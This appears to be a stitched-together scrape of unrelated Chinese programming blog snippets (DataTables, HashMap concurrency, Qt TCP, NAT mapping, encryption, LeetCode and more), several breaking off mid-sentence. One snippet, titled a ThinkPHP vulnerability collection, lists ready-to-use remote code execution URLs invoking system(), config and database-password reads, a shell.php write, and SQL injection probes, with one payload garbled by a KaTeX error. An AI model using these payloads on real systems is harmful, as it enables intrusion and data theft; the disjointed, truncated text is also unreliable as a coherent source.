bootstrap的DataTable行单元格增加按钮并绑定事件

背景 本人前端是一塌糊涂,这几年没怎么搞过前端,因为有需要,所以用了bootrstrap。 现在有个需求,我有一个table,需要在每一行的最后一个单元格内增加两个按扭,并绑定点击事件,点击这个按扭的事件,获得这一行的数据,然后进行相关业务处理,如下: 在最后1列增加扣费和充值2个按钮。 这个列表用的是DataTable。 在网上搜了几篇解决方案,千篇一律,我也就没试可行不,不符合我的期望。 翻了官方文档和源码,被我发现了2个属性,想到了2个方案解决了。 我的html代码: <table id="vip-user-list" class="table table-bordered table-hover "> </table> 服务器数据: { "data": [ { "name": "Tiger Nixon", "id": "12345678", "tel": "187xxxxxxxx", "money": "$320,800", "updateTime": "2019/04/25" }, { "name": "Hello World", "id": "87654321", "tel": "187xxxxxxxx", "money": "$58,800", "updateTime": "2019/10/25" } ] } 方案一 使用ajax.dataSrc属性,处理原始数据,以字符串拼接的方式,拼接上这两个按钮标签,并绑定点击事件。 关于这个属性描述如下,文档地址:http://datatables.club/reference/option/ajax.dataSrc.html ajaxOption ajax不定时一讲 选项基本继承了 jQuery.ajax 所有的选项,但是Datatables额外提供了 dataSrc属性来改变从服务器返回的数据给Datatables,或者是操作数据从一种形式转换成另一种形式(比如xml、json、yaml等)。 这么做是因为 ajaxOption ajax不定时一讲 的 success 选项不能被改变-Datatables内部自己加载数据完成时使用。 代码如下: <script> $(function () { $('#vip-user-list').DataTable({ 'paging': true, 'lengthChange': false, 'searching': true, 'ordering': false, 'info': true, 'autoWidth': false, "

mysql遇到的問題

1.比如一张user表备注字段使用大写REMARK建立,当该表作为子查询会出现不同的情况. select a.remark from (select * from user limit 0,1) a 返回的字段名remark是小写. select a.remark from (select * from user) a 返回的字段名remark是大写.

ConcurrentHashMap原理-面试总结

面试题: 1、HashMap的线程安全吗?有哪些替代方案 HashMap不安全,HashMap的初始容量是16,当长度超出12(16的3/4)时,Map需要扩容,每次扩容之后大小都是之前的两倍。 扩容时,需要将容器中的元素重新计算一遍,并且创建一个更长的新的数组,将元素复制进这个新数组。这个步骤很消耗性能,所以,在初始化map的时候,尽可能地按照需要指定其长度,尽量减少resize的次数,这是一个良好的习惯。 1)为什么采用两倍的扩容方式呢? 因为使用位运算比直接取模效率高很多,在JDK7中,采用的是取模来计算桶的位置,在JDK8中采用了巧妙的位运算的方式:h&(length-1),h是元素的key的哈希值,length是数组的长度。这样的好处是首先降低了运算的难度,因为位运算对于计算机来说只要判断1或0;第二点好处是,由于这种方式,在HashMap扩容的时候,不需要重新对hash值进行取模。只需要判断当前元素是保持当前位置不变,还是需要移动长度为length个位置即可,这减少了运算的次数。 2)两个线程同时执行resize操作,先来演示一下假如在单线程情况下,正确的扩容流程的图解: 如果两个线程同时对一个HashMap进行操作: 线程A:愉快地开始对数组进行操作,当处理到第一步时,时间片用尽,线程A被挂起,将资源让给其他线程。此时e指向key(3),next指向key(7)。 线程B:获取时间片,开始对数组进行操作,比较幸运的是,线程B完成了上述三个 步骤,此时key(7)指向key(3) 线程A被再度唤醒,它不知道在小休息一瞬间的时候发生了什么事儿,开始继续完成自己的任务。 相比此时大家也看出来了,key(3),key(7)之间出现了一个死循环。 总结来讲,在扩容时,jdk1.8之前采用头插法,当两个线程同时检测到HashMap需要扩容,在进行同时扩容时候有可能会造成链表的循环,主要原因就是,采用头插法,新链表与旧链表的顺序是反的,在1.8后采用尾插法就不会出现这种问题,同时1.8的链表长度如果大于8就会转变成红黑树。 这就是最经典的HashMap线程不安全原因了。 此外,在日常的put操作中,HashMap仍然存在着线程的安全隐患。 线程A将一个Node A的key计算出的hash值,并且通过取模/位运算操作后,要插入到数组的一个桶中时,时间片耗尽。 线程B获取资源,顺利完成将一个Node B插入到数组或数组某索引下的链表之中。但是无巧不成书,Node B的链表头是一样的,而这一切,A和B都不知晓 发生灾难,线程A被唤醒,它不知道之前计算出来的链表头的位置已经被B占用了,所以仍然继续操作,于是将Node B的数据覆盖了,造成了数据的丢失。 总结来讲:在put的时候,因为该方法不是同步的,假如有两个线程A,B他们的put的key的hash 值相同,不论是从头插入还是从尾插入,假如A获取了插入位置为X,但是还未插入,此时B也计算出待插入位置为X,则不论AB插入的先后顺序肯定有一个会丢失。 3)怎么才能让HashMap变成线程安全的呢? 替换成Hashtable,Hashtable通过对整个表上锁实现线程安全,因此效率比较低; 使用Collections类的synchronizedMap方法包装一下,方法如下: public static <K,V>Map<K,V>synchronizedMap(Map<K,V> m)返回指定映射支持的同步(线程安全的)映射; 使用ConcurrentHashMap,它使用分段锁来保证线程安全,效率高,推荐使用; 2、ConcurrentHashMap的实现 1)ConcurrentHashMap使用分段技术,将数据分成一段一段的存储,给每一段数据配置一把锁,当一个线程占用锁访问其中一段数据时,其他段的数据也能被其他线程访问。 2)ConcurrentHashMap是一个线程安全的哈希表,她的主要功能是提供了一组和HashMap功能相同但是线程安全的方法。 3)工作原理: ConcurrentHashMap为了提高本身的并发能力,在内部采用了一个叫做Segment的结构,一个Segment其实就是一个类Hash Table的结构,Segment内部维护了一个链表数组 HashTable容器在竞争激烈的并发环境下表现出效率低下的原因,是因为所有访问HashTable的线程都必须竞争同一把锁,那假如容器里有多把锁,每一把锁用于容器其中一部分数据,那么当多线程访问 容器里不同数据段的数据时,线程就不会存在锁竞争,从而可以有效的提高并发访问效率,这就是ConcurrentHashMap所使用的所分段技术。 首先将数据分成一段一段的存储,然后给每一段数据配一把锁,当一个线程占用锁访问其中一个锁定数据段,操作完毕后,又顺序释放所有段的锁。这里“按顺序”是很重要的,否则极有可能出现死锁,在ConcurrentHashMap内部,段数组是final的,并且其成员变量实际上也是final的,但是,仅仅是将数组声明为final的并不保证数据成员也是final的,这需要实现上的保证。这可以确保不会出现死锁,因为获得锁的顺序是固定的。 onCurrentHashMap类中包含两个静态内部类HashEntry和Segment。 HashEntry用来封装映射表的键/值对,Segment用来充当锁的角色,每个Segment对象守护整个散列映射的若干个桶。 每个桶是由若干个HashEntry对象链接起来的链表。一个ConcurrentHashMap实例中包含由若干个Segment对象组成的数组。 每个Segment守护着一个HashEntry数组里的元素,当HashEntry数组的数据进行修改时,必须首先获得它对应的Segment锁。 3、加锁时机 HashTable容器在竞争激烈的并发环境下表现出效率低下的原因,是因为所以访问HashTable的线程都必须竞争同一把锁,那假如容器里有多把锁,每一把锁用于锁容器其中一部分数据,那么当多线程访问容器里不同数据段的数据时,线程就不会存在锁竞争,从而可以有效的提高并发访问效率,这就是ConcurrentHashMap所使用的锁分段技术,首先将数据分成一段一段的存储,然后给每一段数据配一把锁,当一个线程占用锁访问其中一个段数据的时候,其他段的数据也能被其他线程访问。有些方法需要跨段,比如size()和containsValue(),他们可能需要锁定整个表而不仅仅是某个段,这需要按顺序锁定所有段,操作完毕后,又按顺序释放所有段的锁。这里“按顺序”是很重要的,否则极有可能出现死锁,在ConcurrentHashMap内部,段数组是final的,并且其成员变量实际上也是final的,但是,仅仅是将数组声明为final的并不保证数组成员也是final的,这需要实现上的保证。这也可以确保不会出现死锁,因为获得锁的顺序是固定的。 4、应用场景 当有一个大数据组时,需要在多线程共享时就可以考虑是否把它分层给多个节点了,避免大锁,并可以考虑通过hash算法进行一些模块定位。其实不止用于线程,当设计数据表的事务时(事务某种意义上也是同步机制的提现),可以把一个表看成一个需要同步的数组,如果操作的表数据太多时就可以考虑事务分离了(这也是为什么要避免大表的出现),比如把数据进行字段拆分,水平分表等。

HTML标签转义方法

HTML标签转义方法 转义前名称转义后 空格 空格 &nbsp; < 小于号&lt; > 大于号&gt; & 和号&amp; ' 撇号 &apos; " 引号&quot; × 乘号&times; ÷ 除号&divide; £ 镑&pound; ¥ 日圆&yen; € 欧元&euro; © 版权&copy; ® 注册商标&reg; ™ 商标&trade; ↑向上箭头&uarr;↓向下箭头&darr;

thinkphp漏洞集合

Thinkphp 5.0.22 http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 Thinkphp 5 http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1 Thinkphp 5.0.21 http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 Thinkphp 5.1.* http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1 http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd 未知版本 ?s=index/\think\module/action/param1/KaTeX parse error: Undefined control sequence: \think at position 23: …fo()} ?s=index/\̲t̲h̲i̲n̲k̲\Module/Action/…{@phpinfo()} ?s=index/\think/module/aciton/param1/${@print(THINK_VERSION)} index.php?s=/home/article/view_recent/name/1’ header = “X-Forwarded-For:1’) and extractvalue(1, concat(0x5c,(select md5(233))))#” index.php?s=/home/shopcart/getPricetotal/tag/1%27 index.php?s=/home/shopcart/getpriceNum/id/1%27 index.php?s=/home/user/cut/id/1%27 index.php?s=/home/service/index/id/1%27 index.php?s=/home/pay/chongzhi/orderid/1%27 index.php?s=/home/pay/index/orderid/1%27 index.php?s=/home/order/complete/id/1%27 index.php?s=/home/order/complete/id/1%27 index.php?s=/home/order/detail/id/1%27 index.php?s=/home/order/cancel/id/1%27 index.php?s=/home/pay/index/orderid/1%27)%20UNION%20ALL%20SELECT%20md5(233)–+ POST /index.php?s=/home/user/checkcode/ HTTP/1.1 Content-Disposition: form-data; name="couponid"1’) union select sleep(’’’+str(sleep_time)+’’’)# Thinkphp 5.0.23(完整版)Debug 模式 (post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx

node服务器的启动及关闭

**1.启动方式有:**①在要启动的服务器文件下按cmd -> 然后输入node www。如图 通过在浏览器中输入localhost:3000去访问,如下图可以说明服务器已经启动了。 ②直接输入npm run xxx。如下图所示: 2.关闭服务器的方式: 在命令窗口按ctrl+c进行关闭,如下图所示

vtk框选实现-vtkInteractorStyleRubberBand3D

1。先看效果图吧 2。实现的方式 1)利用vtk是观察者模式,事件回调函数实现后续的框选操作 定义回调函数 void fCallback(vtkObject *obj, unsigned long eid, void *clientdata, void *calldata)//定义自己的callback函数 caller事件的发出者,用来获取vtkRenderWindowInteractor等 QVTKInteractor interactor = QVTKInteractor::SafeDownCast( caller ); eid—事件的id用来匹配是否是你所需要的鼠标或者键盘事件 if(eid == vtkCommand::LeftButtonPressEvent) 设置回调函数 vtkCallbackCommand result = vtkCallbackCommand::New(); result->SetCallback(fCallback); 添加到观察者上 this->m_RubberBandStyle = vtkSmartPointer::New(); this->m_RubberBandStyle->RenderOnMouseMoveOff(); this->m_RubberBandStyle->AddObserver(vtkCommand::SelectionChangedEvent, result); 设置当前的样式–做选取操作 m_CurVtkWgt->GetRenderWindow()->GetInteractor()->SetInteractorStyle(m_RubberBandStyle); 3.实现回调函数 int region[4];//获取左上右下4个点 this->m_RubberBandStyle->GetStartPosition(&region[0]); this->m_RubberBandStyle->GetEndPosition(&region[2]); // selection is a data-selection (not geometry selection). int ordered_region[4]; ordered_region[0] = region[0] < region[2] ? region[0] : region[2]; ordered_region[2] = region[0] > region[2] ?

单词接龙

题目描述 给定两个单词(beginWord 和 endWord)和一个字典,找到从 beginWord 到 endWord 的最短转换序列的长度。转换需遵循如下规则: 每次转换只能改变一个字母。转换过程中的中间单词必须是字典中的单词。 说明 如果不存在这样的转换序列,返回 0。所有单词具有相同的长度。所有单词只由小写字母组成。字典中不存在重复的单词。你可以假设 beginWord 和 endWord 是非空的,且二者不相同。 示例1 输入: beginWord = "hit", endWord = "cog", wordList = ["hot","dot","dog","lot","log","cog"] 输出: 5 解释: 一个最短转换序列是 "hit" -> "hot" -> "dot" -> "dog" -> "cog", 返回它的长度 5。 示例2 输入: beginWord = "hit" endWord = "cog" wordList = ["hot","dot","dog","lot","log"] 输出: 0 解释: endWord "cog" 不在字典中,所以无法进行转换。 思路 两端搜索。本题是需要从beginWord转换为endWord。上一份笔记严格按照这个要求,进行转换,结果为88ms。 本条笔记采用两端搜索对上一份笔记进行了优化。两端搜索也就是说:“一头从beginWord转换为endWord,另外一头从endWord转换为beginWord。”为什么要这么做呢?有什么意义呢? 举个例子: 假设从beginWord转换为endWord,存在于字典中的,(第一个)中间结果有30个。 而,从endWord转换为beginWord,存在于字典中的,(第一个)中间结果只有2个。 那么,很显然。从endWord开始会更快。所以,每次都从个数少的那块开始替换一位。 因此,我们每次都从中间结果少的那一端出发,这样就能剪枝掉很多不必要的搜索过程。 实现1 bool isOneChar(string& word1, string& word2) { if (word1.

Qt 的TCP网络通信

Qt网络通信: Socket 通信: Qt 中提供的所有的 Socket 类都是非阻塞的。 Qt 中常用的用于Socket 通信的套接字类 QTCPServer:用于TCP/IP 通信,作为服务器端套接字使用。 QTCPSocket:用于TCP/IP 通信,作为客户端套接字使用。 QUDPSocket:用于UDP通信,服务器,客户端均使用此套接字。 TCP/IP: 在Qt 中实现TCP/IP 服务器端通信的流程: (1)创建套接字;(2)将套接字设置为监听模式;(3)等待并接受客户的需求;[可以通过QTCPServer 提供的void newConnection() 信号来检测是否有连接请求,如果有可以在对应的槽函数中调用nextPendingconnection()函数获取到客户端的Socket 信息(返回值为QTCPSocket*类型指针),通过此套接字与客户端之间进行通信。];(3)接收或者向客户端发送数据 [① 接收数据:使用read() 或者readAll() 函数;② 发送数据:使用write()函数] 客户端通信流程: (1)创建套接字;(2)连接服务器 [可以使用QTCPSocket 类的connectionToHost() 函数来连接服务器];(3)向服务器发送或者接收数据 在开始之前 ServerTCP.pro:(项目名称为ServerTCP) 添加如下代码: 服务器端: 添加Client 客户端的文件: 右键项目名称 -> 添加新文件 -> 客户端: 在服务器端和客户端的textEditRead 栏中将其设置为 “只读” 服务器端: 点击ui的Send 和Close的按钮:右键 -> 转到槽; 客户端: 点击ui的Send 、Close和 connect的按钮:右键 -> 转到槽; 代码段: 服务器: Serverwidget.h #ifndef SERVERWIDGET_H #define SERVERWIDGET_H #include <QWidget> #include <QTcpServer> //监听套接字 #include <QTcpSocket> //通信套接字 #include <QMouseEvent> namespace Ui { class ServerWidget; } class ServerWidget : public QWidget { Q_OBJECT public: explicit ServerWidget(QWidget *parent = 0); ~ServerWidget(); protected: void paintEvent(QPaintEvent *event); private slots: void on_send_clicked(); void on_close_clicked(); private: Ui::ServerWidget *ui; QTcpServer *tcpServer;//监听套接字 QTcpSocket *tcpSocket;//通信套接字 }; #endif // SERVERWIDGET_H Serverwidget.

页、页表、页表项

逻辑地址:是程序编译后,生成的目标模块进行编址时都是从0号开始编址,称之为目标模块的相对地址,即逻辑地址。 虚拟地址:计算机处理器的地址有32位和64位的两种,对应的虚拟地址的空间大小分别是2^32字节和2^64字节,字节用B表示。 页:分页存储管理将进程的逻辑地址空间划分为若干页(面),并且对其编号,号数从0开始,每个页(面)的大小称为页面大小,且大小应为2的幂。 物理块:将内存的物理地址空间划分为若干块,称为物理块,物理块与页(面)一一对应。 页表:又称页面映像表,存储在内存中,通过页表建立页(面)与物理块的索引。 下面通过举例子梳理一下: 假设我们已经知道了逻辑地址是32位,页面大小是4KB=2^12B,页表项是4B(32位)。 1.因为逻辑地址我们假设为32位,可知虚拟地址的空间大小是2^32B。 逻辑地址:在分页地址中划为两部分,一个是页号P(页面数目),另一个是位移量W(物理块号)。 2.由已知条件求得页面数目P=2^32B/2^12B=2^20页,同时得出页号地址是20位。 A表示逻辑地址空间中的地址,L表示页面大小。 3.页表项:在页表中,一个页号与其对应的物理块号称之为一个页表项(由已知条件知道大小是32位)。故页表项的数目就等于页(面)数目即为2^20个,全部页表项(页表中从上往下数)所需的地址也就是20位。 红框即为一个页表项,以此类推。 4.物理块号的地址=逻辑地址-页号地址=32-20=12位,因为并不是进程的每一个页面都要调入内存,所以只有部分页面有对应内存的物理块号,所以物理块号的大小(2^12)会小于页号大小(2^20)。

转:基于Spark的电影推荐系统(包含爬虫项目、web网站、后台管理系统以及spark推荐系统)

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接:https://blog.csdn.net/u011254180/article/details/80006453 本次项目是基于大数据过滤引擎的电影推荐系统–“懂你”电影网站,包含了爬虫、电影网站(前端和后端)、后台管理系统以及推荐系统(Spark)。 项目代码托管于github,大家可以自行下载。 一、爬虫 开发环境: pycharm + python3.6 软件架构: mysql + scrapy 运行环境: 本次爬取的内容在外网,所以需先翻墙后才能成功运行。 项目架构: 二、电影网站 开发环境: IntelliJ IDEA + maven + git + linux + powerdesigner 软件架构: mysql + mybatis + spring + springmvc 项目描述: 懂你电影推荐网站是一个基于SSM框架的web项目,类似当前比较流行的豆瓣。用户可以在网站上浏览电影信息和查询电影,并且网站会根据用户的浏览记录给用户进行实时的电影推荐。现已将网站部署在 http://115.159.204.68 网站上,感兴趣的朋友可以自行查看。Git的安装与IDEA和github的集成可以参考博客。 项目架构: 网站展示: 三、后台管理系统 开发环境: IntelliJ IDEA + maven + git + linux + powerdesigner 软件架构: mysql + mybatis + spring + springmvc + easyui 项目描述: 后台管理系统主要对用户信息和电影信息进行管理,如添加删除电影信息和完成用户信息的完善。其中为了更好地保存电影的图片信息,搭建了图片服务器,关于图片服务器FastDFS的搭建可参考博客。后台系统也布置在服务器上,感兴趣的朋友可以通过地址 http://115.

内网映射之natapp

虚拟专用网VPN 虚拟专用网,就是利用一些技术的手段,将公网的访问功能转换成内网本地网络访问一样。 在计算机中虚拟的意思就是,看起来像是,但实际上并不是。 跨区域的公司要一起协作,就需要一个局域网,就可以利用这种方式构建一个vpn,这样公司的员工就像使用局域网一样。 外地员工访问公司内网的主机,这中间需要建立一条隧道。 这种方式只能当成内部局域网使用,而不能上外网。如果需要能够访问外网,则需要一些其他的处理。例如:申请外网ip地址。使用NAT进行网络地址转换。 员工需要安装VPN客户端,才能连接公司搭建的这个局域网(vpn)。 网络地址转换NAT(内网映射,端口映射) NAT的原理就是,在内部专用网上想访问外网的话,就需要提供一个NAT路由器,而且还必须要提供一个大公网ip地址。内网主机将请求发到NAT路由器,然后由NAT路由器使用大公网ip,将请求转发到英特网上,这样内网就能访问外网了。 但是这样外网主机就无法访问内部专用网的主机了,因为当外网主机访问我们内部局域网的主机时,就只能访问那个NAT配置的公网ip地址,但是他不知道具体访问内部局域网的那一台主机。 然后就使用了ip地址和端口号去确认一台内网主机。 假设在NAT路由器上配置的公网ip是123.204.9.1,内网有一台主机提供了一个网络服务地址是192.168.23.2,使用的端口为8089。这个时候我们在NAT配置一个端口7070,指向192.168.23.2:8089,外网只需要访问123.204.9.1:7070就能访问到内网的192.168.23.2:8089了。 windows下: 使用natapp做内网映射。 1、下载natapp软件。 2、在natapp官网上注册账号,然后购买隧道,一个账号可以拥有两个不同协议的免费隧道。 3、在window上运行natapp.exe文件,运行方式有两种: 一种是进入到natapp.exe,执行natapp -authtoken=隧道的authtoken口令。 还有一种是在natapp.exe文件所在的文件夹中创建一个config.ini,该文件的内容为: #将本文件放置于natapp同级目录 程序将读取 [default] 段 #在命令行参数模式如 natapp -authtoken=xxx 等相同参数将会覆盖掉此配置 #命令行参数 -config= 可以指定任意config.ini文件 [default] authtoken= #对应一条隧道的authtoken clienttoken= #对应客户端的clienttoken,将会忽略authtoken,若无请留空, log=none #log 日志文件,可指定本地文件, none=不做记录,stdout=直接屏幕输出 ,默认为none loglevel=ERROR #日志等级 DEBUG, INFO, WARNING, ERROR 默认为 DEBUG http_proxy= #代理设置 如 http://10.123.10.10:3128 非代理上网用户请务必留空 linux下: linux下映射方式和window差不多,linux下先进入natapp目录下然后执行 ./natapp -authtoken=购买的隧道authtoken值。 注意: 1、隧道协议为web只能用于做web服务,如果是tcp则可以使用远程桌面、ssh等。 2、会强制更改域名,免费的隧道不能使用指定的域名。

RPC_RMI服务集群部署_消费_服务发现

理解服务的集群部署 理解服务发现 服务的集群部署 服务单机部署 将某个应用服务,部署到一台服务器,所有服务消费者的并发访问都发送到一台服务器. 在系统业务的发展,不露出相应的问题: 高并发访问题: 会出现系统资源不够用(带宽,cpu,内存)等等 系统的单节点故障: 当单节点服务器出现宕机故障的时候,会出现服务访问没法访问的问题 . 服务的集群部署 将某个应用服务部署到,同时部署到 n 个服务器节点,由 n 个服务器节点对外提供相同服务. 同时可以提供备用节点服务器. 通过集群部署的方式可以解决,服务的高并发访问和单节点故障问题: 高并发访问: 通过特定的负载均衡(Load Balance)算法,将并发访问的请求,分发到不同节点的服务器进行处理,以将每一台服务器的负载压力,实现负载均衡 常用负载均算法: 轮询法(Round Robin) 随机法(Random) 源地址 Hash 法(Hash) 加权轮询法(Weight Round Robin) 加权随机法(Weight Random) 最小连接数法(Least Connections) 单节点故障: 当实现服务集群部署的时候,单个服务器节点宕机,可以由其他正常的服务器节点,正 常向外提供服务,不会出现服务的不可访问问题,实现服务的(HA)高可用 Demo RMI 模拟服务器集群部署 建立 UserService 接口 package com.zxw.service; import java.rmi.Remote; import java.rmi.RemoteException; /** * Remote:标识其方法可以从非本地虚拟机上调用 * (个人理解:别的客户机通过UserService接口调用其实现类UserServiceImpl的方法) * * 创建 需要发布的服务 对应的业务接口 */ public interface UserService extends Remote { public String helloRmi(String name) throws RemoteException; } 建立 UserServiceImpl 实现类 package com.

API接口之对称加密、非对称加密(三)

目录 一、加密方式和区别 二、对称加密 2.1 DES加密 2.2 3DES加密 三、非对称加密 3.1 RSA加密 四、移动APP安全接口设计 4.1 非对称加密解密 4.2 对称加密解密 一、加密方式和区别 一般金融类的产品,涉及前端和后端交互的时候,都会都严格的数据安全保证。防止黑客攻击,信息篡改。 加密方式有很多,总的来说,分为2种:对称和非对称。我们先来看一下,这两种加密方式分别是什么?他们有什么区别? 对称加密:对称加密是最快速、最简单的一种加密方式,加密(encryption)与解密(decryption)用的是同样的密钥(secret key) 非对称加密:数据的加密与解密提供了一个非常安全的方法,它使用了一对密钥,公钥(public key)和私钥(private key)。私钥只能由一方安全保管,不能外泄,而公钥则可以发给任何请求它的人。因此安全性大大提高。 二、对称加密 所谓对称加密算法即:加密和解密使用相同密钥的算法。常见的有DES、3DES、AES、PBE等加密算法,这几种算法安全性依次是逐渐增强的。 常见的对称加密算法有DES、3DES、Blowfish、IDEA、RC4、RC5、RC6和AES。对称加密算法使用起来简单快捷,密钥较短,且破译困难。 但是对称秘钥在使用过程中存在以下问题: 1、对称加密算法一般不能提供信息完整性的鉴别。它无法验证发送者和接受者的身份; 2、对称密钥的管理和分发工作是一件具有潜在危险的和烦琐的过程。如何防止秘钥泄露是一个难点。 2.1 DES加密 DES是一种对称加密算法,是一种非常简便的加密算法,但是密钥长度比较短。DES加密算法出自IBM的研究,后来被美国政府正式采用,之后开始广泛流传,但是近些年使用越来越少,因为DES使用56位密钥,以现代计算能力,24小时内即可被破解。虽然如此,在某些简单应用中,我们还是可以使用DES加密算法.简单的DES加密算法实现: 先引入jar包的依赖 <dependency> <groupId>org.springframework.security</groupId> <artifactId>spring-security-rsa</artifactId> <version>1.0.8.RELEASE</version> </dependency> public class DESUtil { private static final String KEY_ALGORITHM = "DES"; private static final String DEFAULT_CIPHER_ALGORITHM = "DES/ECB/PKCS5Padding";//默认的加密算法 /** * DES 加密操作 * @param content 待加密内容 * @param key 加密密钥 * @return 返回Base64转码后的加密数据 */ public static String encrypt(String content, String key) { try { Cipher cipher = Cipher.

126. 单词接龙 II(C++)

心情:最近打代码也是非常不在状态啊!花了差不多半天的时间写这道题。 题目描述: 给定两个单词(beginWord 和 endWord)和一个字典 wordList,找出所有从 beginWord 到 endWord 的最短转换序列。转换需遵循如下规则: 每次转换只能改变一个字母。 转换过程中的中间单词必须是字典中的单词。 说明: 如果不存在这样的转换序列,返回一个空列表。 所有单词具有相同的长度。 所有单词只由小写字母组成。 字典中不存在重复的单词。 你可以假设 beginWord 和 endWord 是非空的,且二者不相同。 示例 1: 输入: beginWord = “hit”, endWord = “cog”, wordList = [“hot”,“dot”,“dog”,“lot”,“log”,“cog”] 输出: [ [“hit”,“hot”,“dot”,“dog”,“cog”], [“hit”,“hot”,“lot”,“log”,“cog”] ] 示例 2: 输入: beginWord = “hit” endWord = “cog” wordList = [“hot”,“dot”,“dog”,“lot”,“log”] 输出: [] 解释: endWord “cog” 不在字典中,所以不存在符合要求的转换序列。 题目链接 方法一:我当时想的第一个方法暴力,很正常,超时 方法二:既然方法一超时,我于是用map保存了通过一步能转换的下一个字符串(自言自语) 方法三:BFS 关于这里的BFS,我前期一直以为是树意义上的BFS,所以我当时想的方法是:首先,找出所有与某一个字符串能相邻转化的字符串,保存在map<string,set< string >>里面,之后再从beginWord开始循环,用BFS开始循环beginWord的set里面的Word,然后用一个set来判断某个Word是否被访问了,访问了就删除。 然后提交,依然超时,为啥? 相当于是你BFS循环的时候访问了所有Word的set里面的Word,这明显是没必要的。 说道理,我好像没怎么懂这个原理,但是我觉得这种题可以归结为图上的一个点到另外一个点的题目,且找的是最短的,那么方法就是找当前点可能的邻接点,然后这个邻接点就不能成为其他点的邻接点了(因为你明明可以直接从当前点到它,为啥要经过之后的点再到它呢?),最后找到最终点,就是最短路径。 代码如下: class Solution { public: void dfs(string &curWord,string &endWord,unordered_map<string,unordered_set<string>> &nextWord,vector<string> &vec,vector<vector<string>> &result){ if(curWord == endWord){ result.

SQL LeetCode刷题系列(九)——体育馆的人流量

文章目录 题目描述题解解题思路 题目描述 X 市建了一个新的体育馆,每日人流量信息被记录在这三列信息中:序号 (id)、日期 (visit_date)、 人流量 (people)。 请编写一个查询语句,找出人流量的高峰期。高峰期时,至少连续三行记录中的人流量不少于100。 题解 SELECT A.* FROM stadium A INNER JOIN stadium B ON A.id=B.id+1 INNER JOIN stadium C ON A.id=C.id+2 WHERE A.people>=100 AND B.people>=100 AND C.people>=100 UNION SELECT B.* FROM stadium A INNER JOIN stadium B ON A.id=B.id+1 INNER JOIN stadium C ON A.id=C.id+2 WHERE A.people>=100 AND B.people>=100 AND C.people>=100 UNION SELECT C.* FROM stadium A INNER JOIN stadium B ON A.

spring+quartz动态添加、修改、删除任务(包括按照cron表达式执行和间隔时间执行)

功能要求 1.实现项目启动时在启动所有没有过期的任务 2.页面添加、修改、删除任务功能 3.页面功能包含设定任务的开始时间、结束时间、是否暂停功能(暂停功能的实现是直接删除任务,启用时在添加任务) 版本 spring 5.0.5 quartz 2.3.0 1.spring-quartz.xml <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:context="http://www.springframework.org/schema/context" xmlns:tx="http://www.springframework.org/schema/tx" xmlns:task="http://www.springframework.org/schema/task" xmlns:aop="http://www.springframework.org/schema/aop" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx.xsd http://www.springframework.org/schema/task http://www.springframework.org/schema/task/spring-task.xsd http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop.xsd"> <!-- 这个类用来做需要完成的业务--> <!-- <bean id="myJob" class="com.foxconn.ipebg.dpis.risk.scheduler.MyJob"></bean> --> <!-- 定时任务 --> <!-- 定义调用对象和调用对象的方法,这个配置和普通的一样的,id是JobDetail的名字 --> <!-- <bean id="jobtask" class="org.springframework.scheduling.quartz.MethodInvokingJobDetailFactoryBean"> --> <!-- 调用的类 --> <!-- <property name="targetObject" ref="myJob" /> --> <!-- 调用类中的方法 --> <!-- <property name="targetMethod" value="doNothing" /> --> <!-- 是否并发 --> <!

高速PCB设计软件allegro中与网络有关的约束规则设置

